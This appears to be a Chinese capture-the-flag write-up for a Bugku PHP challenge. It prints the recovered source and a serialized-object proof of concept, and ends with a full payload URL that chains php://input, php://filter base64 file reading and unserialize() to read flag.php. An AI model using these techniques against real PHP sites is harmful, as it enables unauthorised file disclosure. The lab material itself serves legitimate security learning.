題目地址:http://120.24.86.145:8006/test1/
右鍵get源碼:
1 <?php 2 $user = $_GET["txt"]; 3 $file = $_GET["file"]; 4 $pass = $_GET["password"]; 5 6 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ 7 echo "hello admin!<br>"; 8 include($file); //hint.php 9 }else{ 10 echo "you are not admin ! "; 11 }
剛開始我是遠程在我服務器上寫一個txt內容為"welcome to the bugkuctf"但是測試了好像是不行。既然不行又可寫入數據的那就聯想到了php偽協議當中的php://input

再回去看最開始的代碼。如下第十行

是一個包含函數,也可以使用偽協議那就使用filter去讀取當中文件吧。那就讀取hint.php試試

BASE64解密得到如下代碼:
1 <?php 2 3 class Flag{//flag.php 4 public $file; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("good"); 10 } 11 } 12 } 13 ?>
很明顯是一個反序列化讀取的漏洞。但是好像沒有可控的參數。但是有提示一個flag.php
然后直接構造去讀取flag.php

然后繼續嘗試讀取index.php
index.php代碼如下:
1 <?php 2 $txt = $_GET["txt"]; 3 $file = $_GET["file"]; 4 $password = $_GET["password"]; 5 6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ 7 echo "hello friend!<br>"; 8 if(preg_match("/flag/",$file)){ 9 echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦"; 10 exit(); 11 }else{ 12 include($file); 13 $password = unserialize($password); 14 echo $password; 15 } 16 }else{ 17 echo "you are not the number of bugku ! "; 18 } 19 20 ?> 21 22 <!-- 23 $user = $_GET["txt"]; 24 $file = $_GET["file"]; 25 $pass = $_GET["password"]; 26 27 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ 28 echo "hello admin!<br>"; 29 include($file); //hint.php 30 }else{ 31 echo "you are not admin ! "; 32 } 33 -->
由上代碼可知:
- file參數當中不允許出現flag
 - 12-13行代碼中可以看出。password可控.
 
整體思路就有了,那就是通過這個反序列化漏洞去讀取flag.php
於是乎構造這個反序列化漏洞的POC如下:
1 <?php 2 class Flag{ 3 public $file="php://filter/convert.base64-encode/resource=flag.php"; 4 public function __tostruct(){ 5 if(isset($this->file)){ 6 echo file_get_contents($this->file); 7 } 8 } 9 } 10 $o = new Flag(); 11 echo serialize($o);
第三行的時候我直接填寫flag.php。又在此處被坑。
原因如下:
- 在剛才index.php代碼中說file參數不能有flag,最后嘗試才知道要讀取flag。file還不能使用偽協議。既然不能用就沒辦法讀取flag.php了,所以這個反序列化就要跟上偽協議,才能讀取出flag.php
 
file參數不能為flag.php那就去嘗試,最后嘗試得出file參數為hint.php加上password參數的payload就可以getflag

依舊是base64加密的解密一下就好了。
最后還是把payload發出來吧。
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
